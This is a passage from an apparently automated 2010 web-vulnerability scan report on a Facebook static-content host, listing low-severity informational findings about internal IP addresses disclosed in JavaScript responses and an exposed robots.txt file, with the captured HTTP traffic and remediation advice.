Expires: Sun, 07 Nov 2010 22:23:08 GMT
Date: Sun, 07 Nov 2010 22:06:12 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 20011

/*
HTTP Host: static.ak.connect.facebook.com
Generated: November 2nd 2010 12:09:58 AM PDT
Machine: 10.27.30.132
Location: JIT Construction: v308947
Locale: en_US
*/

if (!window.FB) {FB = {};} if(!FB.dynData) { FB.dynData = {"site_vars":{"canvas_client_compute_content_size_method":1,"use_postMessage":0,"use_xdP
...[SNIP]...

3.6. http://static.ak.connect.facebook.com/js/api_lib/v0.4/FeatureLoader.js.php  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://static.ak.connect.facebook.com
Path:   /js/api_lib/v0.4/FeatureLoader.js.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

Request

GET /js/api_lib/v0.4/FeatureLoader.js.php HTTP/1.1
Accept: */*
Referer: http://engadget2.disqus.com/thread/dnp_kinect_review_dnp/reply.html?f=engadget2&t=dnp_kinect_review_dnp&ff=Times%20New%20Roman&default_text=Type%20your%20comment%20here.&ifrs=&1289161547099
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: static.ak.connect.facebook.com
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
ETag: "8132aa3fc5c0251091c14400b90ebd7d"
Pragma:
X-Cnection: close
Cache-Control: public, max-age=641
Expires: Sun, 07 Nov 2010 20:36:30 GMT
Date: Sun, 07 Nov 2010 20:25:49 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 20010

/*
HTTP Host: static.ak.connect.facebook.com
Generated: October 30th 2010 3:00:19 PM PDT
Machine: 10.28.36.122
Location: JIT Construction: v307701
Locale: en_US
*/

if (!window.FB) {FB = {};} if(!FB.dynData) { FB.dynData = {"site_vars":{"canvas_client_compute_content_size_method":1,"use_postMessage":0,"use_xdP
...[SNIP]...

4. Robots.txt file  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://static.ak.connect.facebook.com
Path:   /js/api_lib/v0.4/FeatureLoader.js.php

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: static.ak.connect.facebook.com

Response

HTTP/1.0 200 OK
Content-Type: text/plain;charset=utf-8
X-Cnection: close
Date: Sun, 07 Nov 2010 22:06:13 GMT
Content-Length: 2553
Connection: close

# Notice: if you would like to crawl Facebook you can
# contact us here: http://www.facebook.com/apps/site_scraping_tos.php
# to apply for white listing. Our general terms are available
# at http://ww
...[SNIP]...

Report generated by XSS.CX at Sun Nov 07 18:10:21 CST 2010.